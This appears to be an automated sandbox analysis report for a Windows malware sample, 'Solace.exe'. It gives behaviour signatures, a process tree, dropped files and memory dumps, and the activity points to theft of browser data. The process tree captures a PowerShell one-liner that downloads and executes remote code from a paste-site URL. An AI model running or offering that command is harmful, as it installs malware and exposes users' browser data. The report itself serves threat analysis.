Analysis

  • user interaction
    yes
  • max time kernel
    58s
  • max time network
    48s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/08/2026, 18:15

General

  • Target
    Solace.exe
  • Size 7.8MB
  • Sample260806-wv3yzs1vgx
  • SHA256 1b35f5cf1e7d12dafbf7609b018e5865e20257df56edd76674b22e76db995ace
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Solace.exe
    "C:\Users\Admin\AppData\Local\Temp\Solace.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3512
    • C:\Users\Admin\AppData\Local\Temp\Solace.exe
      "C:\Users\Admin\AppData\Local\Temp\Solace.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "iex(irm https://pastee.dev/r/xCbNnU5A/0)"
        3⤵
        • Badlisted process makes network request
        • Downloads MZ/PE file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1384
        • C:\Users\Admin\AppData\Local\Temp\winsvc.com
          "C:\Users\Admin\AppData\Local\Temp\winsvc.com"
          4⤵
          • Executes dropped EXE
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2408
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-sandbox --disable-gpu --no-first-run --no-default-browser-check
            5⤵
              PID:4672
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --disable-gpu --no-first-run --no-default-browser-check
              5⤵
                PID:2304
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:1048
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:2744

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                VCRUNTIME140.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\VCRUNTIME140.dll
                • Size 117KB
                • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _bz2.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_bz2.pyd
                • Size 84KB
                • SHA256 65f610646d10d5babea080e060d244b546ec52c54012e5e937dc72dcc2e2e7bc
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _lzma.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\_lzma.pyd
                • Size 157KB
                • SHA256 e3deecc1f59a3b811c608861decd84de1e8df8bafd5e2b39188861318c5a38cf
                • MD5 SHA1 SHA512 SSDEEP TLSH

                base_library.zip

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\base_library.zip
                • Size 1.3MB
                • SHA256 38144ac4627767f113306886d198ff50a9d2f9a6e0f99194c88974e132c44329
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python312.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\python312.dll
                • Size 6.6MB
                • SHA256 9a0e3435aaa680d868150f87ab3e388ad2eebc22f87e036155c7b4eda8cd2120
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ucrtbase.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI35122\ucrtbase.dll
                • Size 1.1MB
                • SHA256 6dea28951eb6c593dafb26dc69e499ae283a939f46e3a00690dbcca954ce10ea
                • MD5 SHA1 SHA512 SSDEEP TLSH

                fingerprint.json

                • Path C:\Users\Admin\AppData\Local\Temp\cs_data\Chrome\fingerprint.json
                • Size 868B
                • SHA256 6196daf92433d9da5d0b6bcb8fac3b2d1008e8c99b87da5abeaae9379a934c1a
                • MD5 SHA1 SHA512 TLSH

                fingerprint.json

                • Path C:\Users\Admin\AppData\Local\Temp\cs_data\Edge\fingerprint.json
                • Size 934B
                • SHA256 c63dedd1ececcaaebc98a0980c57f1da961ed0547664d7bd836e8f0088133f93
                • MD5 SHA1 SHA512 TLSH

                downloads_240746515.zip

                • Path C:\Users\Admin\AppData\Local\Temp\cs_data\downloads_240746515.zip
                • Size 22B
                • SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
                • MD5 SHA1 SHA512

                downloads_240746515.zip

                • Path C:\Users\Admin\AppData\Local\Temp\cs_data\downloads_240746515.zip
                • Size 29.0MB
                • SHA256 50b7b82654c20bdcb301101879204a311619ee2a8680e6f0897bcf5267a6fede
                • MD5 SHA1 SHA512 SSDEEP TLSH

                extraction.json

                • Path C:\Users\Admin\AppData\Local\Temp\cs_data\extraction.json
                • Size 1KB
                • SHA256 572bd85e991e9ff7c78e7a6de85364737d947ce59f9aa78d8c4d2c5924075022
                • MD5 SHA1 SHA512 TLSH

                extraction.json

                • Path C:\Users\Admin\AppData\Local\Temp\cs_data\extraction.json
                • Size 1KB
                • SHA256 b169d5b8be0e89d3a4b09b13f0491b643632322e28f4e9716db6b5fb2d9bb9b2
                • MD5 SHA1 SHA512 TLSH

                winsvc.com

                • Path C:\Users\Admin\AppData\Local\Temp\winsvc.com
                • Size 1.5MB
                • SHA256 b157b5afbbb66aec6cf3da00cd94f3289642d54c3274d4d023735e4ef599ae52
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/1384-74-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-82-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-73-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-71-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-75-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-76-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-77-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-78-0x00000238F3050000-0x00000238F3212000-memory.dmp

                memory/1384-79-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-80-0x00000238F2AA0000-0x00000238F2ACD000-memory.dmp

                memory/1384-81-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-72-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-83-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-70-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-94-0x00000238F2AA0000-0x00000238F2ACD000-memory.dmp

                memory/1384-95-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-69-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-67-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-68-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-65-0x00000238F2A10000-0x00000238F2A32000-memory.dmp

                memory/1384-66-0x00007FFD8AEA0000-0x00007FFD8B844000-memory.dmp

                memory/1384-62-0x00007FFD8B02F000-0x00007FFD8B030000-memory.dmp